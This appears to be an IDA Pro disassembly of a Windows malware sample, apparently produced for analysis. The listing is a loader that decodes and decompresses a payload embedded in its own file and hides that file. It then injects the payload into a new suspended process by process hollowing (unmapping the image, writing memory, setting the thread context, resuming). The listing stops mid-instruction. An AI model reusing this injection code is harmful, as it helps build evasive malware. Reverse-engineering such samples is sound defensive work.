; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : F01A2DE5800AFC18C268E99A67BCDDB5 ; File Name : u:\work\f01a2de5800afc18c268e99a67bcddb5_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00006942 ( 26946.) ; Section size in file : 00006A00 ( 27136.) ; Offset to raw data for section: 00000400 ; Flags 60000020: Text Executable Readable ; Alignment : default ; OS type : MS Windows ; Application type: Executable 32bit include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401759+B1p var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push edi mov edi, [ebp+arg_8] imul edi, 64h push edi ; Size call _malloc test eax, eax pop ecx mov [ebp+var_8], eax jz short loc_401085 push ebx push offset LibFileName ; "ntdll.dll" call ds:LoadLibraryA ; LoadLibraryA mov ebx, eax test ebx, ebx jz short loc_401082 push esi mov esi, ds:GetProcAddress push offset ProcName ; "RtlDecompressBuffer" push ebx ; hModule call esi ; GetProcAddress push offset aRtlgetcompress ; "RtlGetCompressionWorkSpaceSize" push ebx ; hModule mov [ebp+var_4], eax call esi ; GetProcAddress cmp [ebp+arg_8], 0 pop esi jz short loc_401082 cmp [ebp+var_4], 0 jz short loc_401082 test eax, eax jz short loc_401082 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_10] push ecx push 2 call eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_0] push edi push [ebp+var_8] push 2 call [ebp+var_4] push ebx ; hLibModule call ds:FreeLibrary ; FreeLibrary mov eax, [ebp+var_8] jmp short loc_401084 ; --------------------------------------------------------------------------- loc_401082: ; CODE XREF: sub_401000+2Bj ; sub_401000+4Cj ... xor eax, eax loc_401084: ; CODE XREF: sub_401000+80j pop ebx loc_401085: ; CODE XREF: sub_401000+19j pop edi leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401088 proc near ; CODE XREF: sub_4010AD+5Bp ; sub_4010AD+B6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor eax, eax cmp [esp+arg_4], eax jle short locret_4010AC mov ecx, [esp+arg_0] mov edx, dword_40A5E4 add ecx, edx loc_40109C: ; CODE XREF: sub_401088+22j mov dl, [ecx+eax] mov byte_40A620[eax], dl inc eax cmp eax, [esp+arg_4] jl short loc_40109C locret_4010AC: ; CODE XREF: sub_401088+6j retn sub_401088 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010AD proc near ; CODE XREF: WinMain(x,x,x,x)+71p var_13C = byte ptr -13Ch Dst = word ptr -5Ch var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_16 = word ptr -16h var_8 = word ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 13Ch mov eax, dword_40A040 mov ecx, dword_40A5E4 push ebx push esi lea esi, [ecx+eax] mov bl, [esi] mov byte_40A5EC, bl mov cl, [esi+1] push edi mov edi, nNumberOfBytesToRead mov byte_40A61C, cl mov cl, [esi+2] neg byte_40A61C sub edi, eax neg bl neg cl cmp edi, 40h mov byte_40A5EC, bl mov byte_40A5E0, cl jb loc_4011AB add eax, 3 push 40h push eax call sub_401088 pop ecx pop ecx mov byte_40A660, 0 xor esi, esi loc_401118: ; CODE XREF: sub_4010AD+81j mov cl, byte_40A61C lea eax, dword_40A621[esi] add [eax-1], bl add [eax], cl inc esi inc esi cmp esi, 40h jb short loc_401118 push 40h ; Size mov ebx, offset byte_40A620 lea eax, [ebp+Dst] push ebx ; Src push eax ; Dst call _memcpy add esp, 0Ch cmp [ebp+Dst], 5A4Dh jnz short loc_4011AB mov eax, [ebp+var_20] lea ecx, [eax+18h] cmp edi, ecx jb short loc_4011AB mov ecx, dword_40A040 lea eax, [ecx+eax+3] push 18h push eax call sub_401088 pop ecx pop ecx mov byte_40A638, 0 xor esi, esi loc_401173: ; CODE XREF: sub_4010AD+E2j mov cl, byte_40A5EC lea eax, dword_40A621[esi] add [eax-1], cl mov cl, byte_40A61C add [eax], cl inc esi inc esi cmp esi, 18h jb short loc_401173 push 18h ; Size lea eax, [ebp+var_1C] push ebx ; Src push eax ; Dst call _memcpy mov esi, 0E0h add esp, 0Ch cmp [ebp+var_8], si jz short loc_4011B2 loc_4011AB: ; CODE XREF: sub_4010AD+4Fj ; sub_4010AD+9Dj ... xor al, al jmp loc_401298 ; --------------------------------------------------------------------------- loc_4011B2: ; CODE XREF: sub_4010AD+FCj mov ecx, dword_40A040 mov eax, [ebp+var_20] lea eax, [ecx+eax+1Bh] push esi push eax call sub_401088 pop ecx pop ecx mov byte_40A700, 0 xor edi, edi loc_4011D1: ; CODE XREF: sub_4010AD+13Fj mov cl, byte_40A5EC lea eax, dword_40A621[edi] add [eax-1], cl mov cl, byte_40A61C add [eax], cl inc edi inc edi cmp edi, esi jb short loc_4011D1 push esi ; Size lea eax, [ebp+var_13C] push ebx ; Src push eax ; Dst call _memcpy movzx eax, [ebp+var_16] lea eax, [eax+eax*4] shl eax, 3 push eax ; dwBytes call ??2@YAPAXI@Z ; operator new(uint) movzx esi, [ebp+var_16] mov ecx, dword_40A040 mov [ebp+var_4], eax mov eax, [ebp+var_20] lea esi, [esi+esi*4] shl esi, 3 lea eax, [ecx+eax+0FBh] push esi push eax call sub_401088 add esp, 18h xor ecx, ecx test esi, esi mov byte_40A620[esi], 0 jbe short loc_40125D loc_401240: ; CODE XREF: sub_4010AD+1AEj mov dl, byte_40A5EC lea eax, dword_40A621[ecx] add [eax-1], dl mov dl, byte_40A61C add [eax], dl inc ecx inc ecx cmp ecx, esi jb short loc_401240 loc_40125D: ; CODE XREF: sub_4010AD+191j push esi ; Size push ebx ; Src push [ebp+var_4] ; Dst call _memcpy mov edi, [ebp+arg_0] mov eax, [ebp+arg_10] add esp, 0Ch push 10h pop ecx push 6 lea esi, [ebp+Dst] rep movsd mov edi, [ebp+arg_8] pop ecx lea esi, [ebp+var_1C] rep movsd mov edi, [ebp+arg_C] push 38h pop ecx lea esi, [ebp+var_13C] rep movsd mov ecx, [ebp+var_4] mov [eax], ecx mov al, 1 loc_401298: ; CODE XREF: sub_4010AD+100j pop edi pop esi pop ebx leave retn sub_4010AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40129D proc near ; CODE XREF: WinMain(x,x,x,x)+93p arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_8] mov ecx, [eax+3Ch] push esi mov esi, [eax+20h] xor edx, edx mov eax, ecx div esi test edx, edx jz short loc_4012BA lea ecx, [eax+1] imul ecx, esi loc_4012BA: ; CODE XREF: sub_40129D+15j mov eax, [ebp+arg_4] movzx eax, word ptr [eax+6] test eax, eax jle short loc_4012F4 push ebx mov ebx, [ebp+arg_C] push edi add ebx, 8 mov [ebp+arg_8], eax loc_4012D0: ; CODE XREF: sub_40129D+53j mov edi, [ebx] test edi, edi jz short loc_4012EA xor edx, edx mov eax, edi div esi test edx, edx jnz short loc_4012E4 add ecx, edi jmp short loc_4012EA ; --------------------------------------------------------------------------- loc_4012E4: ; CODE XREF: sub_40129D+41j inc eax imul eax, esi add ecx, eax loc_4012EA: ; CODE XREF: sub_40129D+37j ; sub_40129D+45j add ebx, 28h dec [ebp+arg_8] jnz short loc_4012D0 pop edi pop ebx loc_4012F4: ; CODE XREF: sub_40129D+26j mov eax, ecx pop esi pop ebp retn sub_40129D endp ; =============== S U B R O U T I N E ======================================= sub_4012F9 proc near ; CODE XREF: sub_401313+A9p ; sub_401313+12Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor edx, edx div [esp+arg_4] test edx, edx jnz short loc_40130C mov eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_40130C: ; CODE XREF: sub_4012F9+Cj inc eax imul eax, [esp+arg_4] retn sub_4012F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401313(int, int, int, size_t Size, int, void *Dst) sub_401313 proc near ; CODE XREF: WinMain(x,x,x,x)+C1p arg_4 = dword ptr 0Ch Size = dword ptr 14h arg_10 = dword ptr 18h Dst = dword ptr 1Ch push ebp mov ebp, esp mov eax, dword_40A5E4 push ebx push esi mov esi, dword_40A040 add eax, esi mov bl, [eax] mov byte_40A5EC, bl mov cl, [eax+1] mov byte_40A61C, cl mov al, [eax+2] neg byte_40A61C neg al mov byte_40A5E0, al mov eax, [ebp+Size] neg bl mov byte_40A5EC, bl push edi mov edi, [eax+3Ch] mov eax, [ebp+arg_4] movzx eax, word ptr [eax+6] test eax, eax jle short loc_401374 mov ecx, [ebp+arg_10] add ecx, 14h loc_401366: ; CODE XREF: sub_401313+5Fj mov edx, [ecx] cmp edx, edi jnb short loc_40136E mov edi, edx loc_40136E: ; CODE XREF: sub_401313+57j add ecx, 28h dec eax jnz short loc_401366 loc_401374: ; CODE XREF: sub_401313+4Bj push edi add esi, 3 push esi call sub_401088 pop ecx xor esi, esi test edi, edi pop ecx mov byte_40A620[edi], 0 jbe short loc_4013A4 loc_40138D: ; CODE XREF: sub_401313+8Fj mov cl, byte_40A61C lea eax, dword_40A621[esi] add [eax-1], bl add [eax], cl inc esi inc esi cmp esi, edi jb short loc_40138D loc_4013A4: ; CODE XREF: sub_401313+78j push edi ; Size push offset byte_40A620 ; Src push [ebp+Dst] ; Dst call _memcpy mov ebx, [ebp+Size] mov ecx, [ebx+20h] push ecx push dword ptr [ebx+3Ch] call sub_4012F9 mov edi, eax add edi, [ebp+Dst] mov eax, [ebp+arg_4] and [ebp+Dst], 0 add esp, 14h cmp word ptr [eax+6], 0 jbe loc_401472 mov esi, [ebp+arg_10] add esi, 8 loc_4013E1: ; CODE XREF: sub_401313+159j mov eax, [esi+8] test eax, eax jbe short loc_40144A mov [ebp+Size], eax mov eax, [esi] cmp [ebp+Size], eax jbe short loc_4013F5 mov [ebp+Size], eax loc_4013F5: ; CODE XREF: sub_401313+DDj mov eax, [esi+0Ch] mov ecx, dword_40A040 push [ebp+Size] lea eax, [eax+ecx+3] push eax call sub_401088 mov eax, [ebp+Size] pop ecx pop ecx xor ecx, ecx test eax, eax mov byte_40A620[eax], 0 jbe short loc_40142E loc_40141D: ; CODE XREF: sub_401313+119j mov dl, byte_40A5E0 add byte_40A620[ecx], dl inc ecx cmp ecx, eax jb short loc_40141D loc_40142E: ; CODE XREF: sub_401313+108j push eax ; Size push offset byte_40A620 ; Src push edi ; Dst call _memcpy mov ecx, [ebx+20h] push ecx push dword ptr [esi] call sub_4012F9 add esp, 14h jmp short loc_40145A ; --------------------------------------------------------------------------- loc_40144A: ; CODE XREF: sub_401313+D3j mov eax, [esi] test eax, eax jz short loc_40145C push ecx push eax call sub_4012F9 add esp, 8 loc_40145A: ; CODE XREF: sub_401313+135j add edi, eax loc_40145C: ; CODE XREF: sub_401313+13Bj mov eax, [ebp+arg_4] movzx eax, word ptr [eax+6] inc [ebp+Dst] add esi, 28h cmp [ebp+Dst], eax jl loc_4013E1 loc_401472: ; CODE XREF: sub_401313+C2j pop edi pop esi mov al, 1 pop ebx pop ebp retn sub_401313 endp ; =============== S U B R O U T I N E ======================================= sub_401479 proc near ; CODE XREF: sub_4015DE+BDp arg_8 = dword ptr 0Ch arg_10 = dword ptr 14h arg_14 = dword ptr 18h mov ecx, [esp+arg_8] mov eax, [ecx+88h] test eax, eax jz short locret_4014E8 cmp dword ptr [ecx+8Ch], 0 jz short locret_4014E8 mov edx, [esp+arg_10] push esi mov esi, [esp+4+arg_14] sub esi, [ecx+1Ch] add eax, edx cmp dword ptr [eax+4], 0 jz short loc_4014E7 push ebx push edi loc_4014A6: ; CODE XREF: sub_401479+6Aj mov ecx, [eax+4] sub ecx, 8 shr ecx, 1 test ecx, ecx lea edi, [eax+8] jle short loc_4014DD mov ebx, ecx loc_4014B7: ; CODE XREF: sub_401479+62j xor edx, edx mov dx, [edi] mov ecx, edx and ecx, 0FFFh add ecx, [esp+0Ch+arg_10] and dx, 0F000h add ecx, [eax] cmp dx, 3000h jnz short loc_4014D8 add [ecx], esi loc_4014D8: ; CODE XREF: sub_401479+5Bj inc edi inc edi dec ebx jnz short loc_4014B7 loc_4014DD: ; CODE XREF: sub_401479+3Aj cmp dword ptr [edi+4], 0 mov eax, edi jnz short loc_4014A6 pop edi pop ebx loc_4014E7: ; CODE XREF: sub_401479+29j pop esi locret_4014E8: ; CODE XREF: sub_401479+Cj ; sub_401479+15j retn sub_401479 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4014E9(int, HANDLE hProcess, LPCVOID lpAddress, SIZE_T dwLength) sub_4014E9 proc near ; CODE XREF: sub_401501+A0p hProcess = dword ptr 8 lpAddress = dword ptr 0Ch dwLength = dword ptr 10h push [esp+dwLength] ; dwLength push offset Buffer ; lpBuffer push [esp+8+lpAddress] ; lpAddress push [esp+0Ch+hProcess] ; hProcess call ds:VirtualQueryEx ; VirtualQueryEx retn sub_4014E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401501(LPSTR lpCommandLine, LPPROCESS_INFORMATION lpProcessInformation, int, LPCONTEXT lpContext, LPVOID lpBuffer) sub_401501 proc near ; CODE XREF: WinMain(x,x,x,x)+DEp StartupInfo = _STARTUPINFOA ptr -48h NumberOfBytesRead= dword ptr -4 lpCommandLine = dword ptr 8 lpProcessInformation= dword ptr 0Ch lpContext = dword ptr 14h lpBuffer = dword ptr 18h push ebp mov ebp, esp sub esp, 48h push ebx push esi mov esi, [ebp+lpProcessInformation] push edi push 10h pop ecx xor ebx, ebx push esi ; lpProcessInformation xor eax, eax mov [ebp+StartupInfo.cb], ebx lea edi, [ebp+StartupInfo.lpReserved] rep stosd lea eax, [ebp+StartupInfo] push eax ; lpStartupInfo push ebx ; lpCurrentDirectory push ebx ; lpEnvironment push 4 ; dwCreationFlags push ebx ; bInheritHandles push ebx ; lpThreadAttributes push ebx ; lpProcessAttributes push [ebp+lpCommandLine] ; lpCommandLine push ebx ; lpApplicationName call ds:CreateProcessA ; CreateProcessA test eax, eax jz loc_4015BA mov edi, [ebp+lpContext] push edi ; lpContext mov dword ptr [edi], 10007h push dword ptr [esi+4] ; hThread call ds:GetThreadContext ; GetThreadContext lea eax, [ebp+NumberOfBytesRead] push eax ; lpNumberOfBytesRead mov eax, [edi+0A4h] push 4 ; nSize push [ebp+lpBuffer] ; lpBuffer add eax, 8 push eax ; lpBaseAddress push dword ptr [esi] ; hProcess call ds:ReadProcessMemory ; ReadProcessMemory mov eax, [ebp+lpBuffer] mov edi, [eax] jmp short loc_40159B ; --------------------------------------------------------------------------- loc_40156F: ; CODE XREF: sub_401501+AAj cmp edi, 8EABBh jnz short loc_401589 push ebx ; uType push offset Caption ; lpCaption push offset Text ; "fsdfsdagsfdhgsfdhfgdhfdhgfdhgfd" push ebx ; hWnd call ds:MessageBoxA ; MessageBoxA loc_401589: ; CODE XREF: sub_401501+74j cmp Buffer.State, 10000h jz short loc_4015AD add edi, Buffer.RegionSize loc_40159B: ; CODE XREF: sub_401501+6Cj push 1Ch ; dwLength push edi ; lpAddress push dword ptr [esi] ; hProcess push ebx ; int call sub_4014E9 add esp, 10h test eax, eax jnz short loc_40156F loc_4015AD: ; CODE XREF: sub_401501+92j mov eax, [ebp+lpBuffer] sub edi, [eax] mov [eax+4], edi xor eax, eax inc eax jmp short loc_4015BC ; --------------------------------------------------------------------------- loc_4015BA: ; CODE XREF: sub_401501+33j xor eax, eax loc_4015BC: ; CODE XREF: sub_401501+B7j pop edi pop esi pop ebx leave retn sub_401501 endp ; =============== S U B R O U T I N E ======================================= sub_4015C1 proc near ; CODE XREF: sub_4015DE+83p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp dword ptr [eax+88h], 0 jz short loc_4015DB cmp dword ptr [eax+8Ch], 0 jz short loc_4015DB xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4015DB: ; CODE XREF: sub_4015C1+Bj ; sub_4015C1+14j xor eax, eax retn sub_4015C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4015DE proc near ; CODE XREF: WinMain(x,x,x,x)+13Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch flOldProtect = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h hProcess = dword ptr 28h arg_24 = dword ptr 2Ch arg_30 = dword ptr 38h arg_D4 = dword ptr 0DCh arg_E0 = dword ptr 0E8h lpAddress = dword ptr 304h dwSize = dword ptr 308h push ebp mov ebp, esp mov eax, [ebp+lpAddress] push ebx mov ebx, [ebp+flOldProtect] cmp [ebx+1Ch], eax push esi mov esi, ds:VirtualAllocEx push edi mov edi, 3000h jnz short loc_401620 mov ecx, [ebp+dwSize] cmp [ebp+arg_18], ecx ja short loc_401620 lea edx, [ebp+flOldProtect] push edx ; lpflOldProtect push 40h ; flNewProtect push ecx ; dwSize push eax ; lpAddress push [ebp+hProcess] ; hProcess mov dword_444154, eax call ds:VirtualProtectEx ; VirtualProtectEx jmp short loc_401657 ; --------------------------------------------------------------------------- loc_401620: ; CODE XREF: sub_4015DE+1Dj ; sub_4015DE+28j mov ecx, [ebp+hProcess] push eax push ecx mov dword_40A618, ecx mov dword_444144, eax call dword_444158 ; ZwUnmapViewOfSection test eax, eax jnz short loc_40163E mov byte ptr [ebp+flOldProtect+3], 1 loc_40163E: ; CODE XREF: sub_4015DE+5Aj cmp byte ptr [ebp+flOldProtect+3], 1 jnz short loc_401657 push 40h ; flProtect push edi ; flAllocationType push [ebp+arg_18] ; dwSize push dword ptr [ebx+1Ch] ; lpAddress push [ebp+hProcess] ; hProcess call esi ; VirtualAllocEx mov dword_444154, eax loc_401657: ; CODE XREF: sub_4015DE+40j ; sub_4015DE+64j cmp dword_444154, 0 jnz short loc_4016B0 push ebx call sub_4015C1 add esp, 4 test eax, eax jz loc_40173E push 40h ; flProtect push edi ; flAllocationType push [ebp+arg_18] ; dwSize push 0 ; lpAddress push [ebp+hProcess] ; hProcess call esi ; VirtualAllocEx test eax, eax mov dword_444154, eax jz loc_40173E push 0 push eax push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+arg_4] push [ebp+arg_0] call sub_401479 add esp, 1Ch cmp dword_444154, 0 jz loc_40173E loc_4016B0: ; CODE XREF: sub_4015DE+80j mov esi, [ebp+arg_D4] push offset aWriteprocessme ; "WriteProcessMemory" push offset ModuleName ; "kernel32.dll" call ds:GetModuleHandleA ; GetModuleHandleA push eax ; hModule call ds:GetProcAddress ; GetProcAddress push 0 push 4 push offset dword_444154 add esi, 8 push esi mov esi, [ebp+hProcess] push esi call eax mov eax, [ebp+arg_0] mov eax, [eax+3Ch] mov ecx, dword_444154 mov edx, [ebp+arg_14] mov [eax+edx+34h], ecx mov eax, dword_444154 cmp eax, [ebp+lpAddress] mov [ebp+arg_30], 10007h jnz short loc_401715 mov eax, [ebx+10h] add eax, [ebx+1Ch] mov [ebp+arg_E0], eax jmp short loc_401720 ; --------------------------------------------------------------------------- loc_401715: ; CODE XREF: sub_4015DE+127j mov ecx, [ebx+10h] add ecx, eax mov [ebp+arg_E0], ecx loc_401720: ; CODE XREF: sub_4015DE+135j mov eax, [ebp+arg_24] lea ecx, [ebp+arg_30] push ecx push eax mov dword_444148, esi mov hThread, eax call dword_44415C ; SetThreadContext xor eax, eax inc eax jmp short loc_401740 ; --------------------------------------------------------------------------- loc_40173E: ; CODE XREF: sub_4015DE+8Dj ; sub_4015DE+A7j ... xor eax, eax loc_401740: ; CODE XREF: sub_4015DE+15Ej pop edi pop esi pop ebx pop ebp retn sub_4015DE endp ; =============== S U B R O U T I N E ======================================= sub_401745 proc near ; CODE XREF: WinMain(x,x,x,x)+16Ep push hThread ; hThread mov byte_44414C, 1 call ds:ResumeThread ; ResumeThread retn sub_401745 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401759(int, LPCSTR lpFileName) sub_401759 proc near ; CODE XREF: WinMain(x,x,x,x)+29p NumberOfBytesRead= dword ptr -4 lpFileName = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push ebx ; hTemplateFile push 80h ; dwFlagsAndAttributes push 3 ; dwCreationDisposition push ebx ; lpSecurityAttributes push 1 ; dwShareMode push 80000000h ; dwDesiredAccess push [ebp+lpFileName] ; lpFileName call ds:CreateFileA ; CreateFileA push ebx ; lpFileSizeHigh push eax ; hFile mov hFile, eax call ds:GetFileSize ; GetFileSize mov nNumberOfBytesToRead, eax inc eax push eax ; Size call _malloc pop ecx push ebx ; lpOverlapped lea ecx, [ebp+NumberOfBytesRead] push ecx ; lpNumberOfBytesRead push nNumberOfBytesToRead ; nNumberOfBytesToRead mov dword_40A5E4, eax push eax ; lpBuffer push hFile ; hFile call ds:ReadFile ; ReadFile mov eax, [ebp+NumberOfBytesRead] sub eax, dword_40A040 inc eax push eax ; Size call _malloc mov esi, eax mov eax, [ebp+NumberOfBytesRead] pop ecx mov ecx, dword_40A040 xor edx, edx sub eax, ecx jz short loc_4017F0 loc_4017D3: ; CODE XREF: sub_401759+95j mov eax, dword_40A5E4 add ecx, eax mov al, [ecx+edx] mov [edx+esi], al mov eax, [ebp+NumberOfBytesRead] mov ecx, dword_40A040 inc edx sub eax, ecx cmp edx, eax jb short loc_4017D3 loc_4017F0: ; CODE XREF: sub_401759+78j mov eax, esi sub eax, ecx mov ecx, [ebp+NumberOfBytesRead] mov [eax+ecx], bl lea eax, [ebp+NumberOfBytesRead] push eax mov eax, [ebp+NumberOfBytesRead] sub eax, dword_40A040 push eax push ebx push esi call sub_401000 add esp, 10h pop esi mov dword_40A040, ebx mov dword_40A5E4, eax pop ebx leave retn sub_401759 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) _WinMain@16 proc near ; CODE XREF: start+186p Context = CONTEXT ptr -52Ch flOldProtect = dword ptr -260h FileName = byte ptr -180h var_80 = dword ptr -80h ProcessInformation= _PROCESS_INFORMATION ptr -40h var_30 = dword ptr -30h Buffer = dword ptr -18h dwSize = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 hInstance = dword ptr 8 hPrevInstance = dword ptr 0Ch lpCmdLine = dword ptr 10h nShowCmd = dword ptr 14h push ebp mov ebp, esp sub esp, 52Ch push ebx push esi push edi push 100h ; nSize lea eax, [ebp+FileName] push eax ; lpFilename xor ebx, ebx push ebx ; hModule call ds:GetModuleFileNameA ; GetModuleFileNameA lea eax, [ebp+FileName] push eax ; lpFileName push ebx ; int call sub_401759 pop ecx pop ecx push 6 ; dwFileAttributes lea eax, [ebp+FileName] push eax ; lpFileName call ds:SetFileAttributesA ; SetFileAttributesA mov esi, ds:GetModuleHandleA push offset aVirtualalloc ; "VirtualAlloc" push offset ModuleName ; "kernel32.dll" call esi ; GetModuleHandleA mov edi, ds:GetProcAddress push eax ; hModule call edi ; GetProcAddress mov [ebp+var_4], eax lea eax, [ebp+var_8] push eax lea eax, [ebp+flOldProtect] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_80] push ebx push eax call sub_4010AD add esp, 14h test al, al jz loc_401996 push [ebp+var_8] lea eax, [ebp+flOldProtect] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_80] push eax call sub_40129D add esp, 10h push 40h push 1000h push eax push ebx mov [ebp+var_C], eax call [ebp+var_4] push eax ; Dst push [ebp+var_8] ; int mov [ebp+var_4], eax lea eax, [ebp+flOldProtect] push eax ; Size push ebx ; int lea eax, [ebp+var_30] push eax ; int lea eax, [ebp+var_80] push eax ; int call sub_401313 push ebx lea eax, [ebp+Buffer] push eax ; lpBuffer lea eax, [ebp+Context] push eax ; lpContext push ebx ; int lea eax, [ebp+ProcessInformation] push eax ; lpProcessInformation lea eax, [ebp+FileName] push eax ; lpCommandLine call sub_401501 add esp, 30h push offset aWriteprocessme ; "WriteProcessMemory" push offset ModuleName ; "kernel32.dll" call esi ; GetModuleHandleA push eax ; hModule call edi ; GetProcAddress push [ebp+dwSize] ; dwSize mov [ebp+var_10], eax push [ebp+Buffer] ; lpAddress mov ecx, 0B3h sub esp, 2CCh mov edi, esp sub esp, 10h lea esi, [ebp+Context] rep movsd mov edi, esp lea eax, [ebp+FileName] push eax ; int push [ebp+var_C] ; int lea esi, [ebp+ProcessInformation] push [ebp+var_4] ; int movsd push [ebp+var_8] ; int movsd lea eax, [ebp+flOldProtect] push eax ; flOldProtect push ebx ; int lea eax, [ebp+var_30] movsd push eax ; int lea eax, [ebp+var_80] push eax ; int movsd call sub_4015DE add esp, 304h push ebx push [ebp+var_C] push [ebp+var_4] push dword_444154 push dword_444148 call [ebp+var_10] test eax, eax setnz al mov byte_44414C, al push [ebp+var_C] push ebx call sub_401745 pop ecx pop ecx loc_401996: ; CODE XREF: WinMain(x,x,x,x)+7Bj pop edi pop esi xor eax, eax pop ebx leave retn 10h _WinMain@16 endp ; [00000046 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND] ; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000033D BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov ecx, [esp+4] mov eax, dword_444160 mov dword_444160, ecx retn ; [0000001E BYTES: COLLAPSED FUNCTION __fpmath. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND] pop ecx pop ecx retn ; --------------------------------------------------------------------------- _fast_error_exit: cmp dword_444170, 1 jnz short loc_401E17 call __FF_MSGBANNER loc_401E17: ; CODE XREF: .text:00401E10j push dword ptr [esp+4] call __NMSG_WRITE push 0FFh call unknown_libname_1 ; Microsoft VisualC 2-8/net runtime ; --------------------------------------------------------------------------- db 59h ; Y db 59h ; Y db 0C3h ; Ã ; --------------------------------------------------------------------------- _check_managed_app: push 0 call ds:GetModuleHandleA ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_401E5B mov ecx, [eax+3Ch] add ecx, eax cmp dword ptr [ecx], 4550h jnz short loc_401E5B movzx eax, word ptr [ecx+18h] cmp eax, 10Bh jz short loc_401E71 cmp eax, 20Bh jz short loc_401E5E loc_401E5B: ; CODE XREF: .text:00401E3Aj ; .text:00401E47j xor eax, eax retn ; --------------------------------------------------------------------------- loc_401E5E: ; CODE XREF: .text:00401E59j xor eax, eax cmp dword ptr [ecx+84h], 0Eh jbe short locret_401E82 cmp [ecx+0F8h], eax jmp short loc_401E7F ; --------------------------------------------------------------------------- loc_401E71: ; CODE XREF: .text:00401E52j xor eax, eax cmp dword ptr [ecx+74h], 0Eh jbe short locret_401E82 cmp [ecx+0E8h], eax loc_401E7F: ; CODE XREF: .text:00401E6Fj setnz al locret_401E82: ; CODE XREF: .text:00401E67j ; .text:00401E77j retn ; [000001DC BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] ; [0000001A BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __heap_term: cmp dword_444734, 3 jnz short loc_40213C push ebx xor ebx, ebx cmp dword_444718, ebx push ebp mov ebp, ds:HeapFree jle short loc_40212A push esi mov esi, lpMem push edi mov edi, ds:VirtualFree add esi, 0Ch loc_4020F6: ; CODE XREF: .text:00402126j push 4000h push 100000h push dword ptr [esi] call edi ; VirtualFree push 8000h push 0 push dword ptr [esi] call edi ; VirtualFree push dword ptr [esi+4] push 0 push hHeap call ebp ; HeapFree add esi, 14h inc ebx cmp ebx, dword_444718 jl short loc_4020F6 pop edi pop esi loc_40212A: ; CODE XREF: .text:004020E3j push lpMem push 0 push hHeap call ebp ; 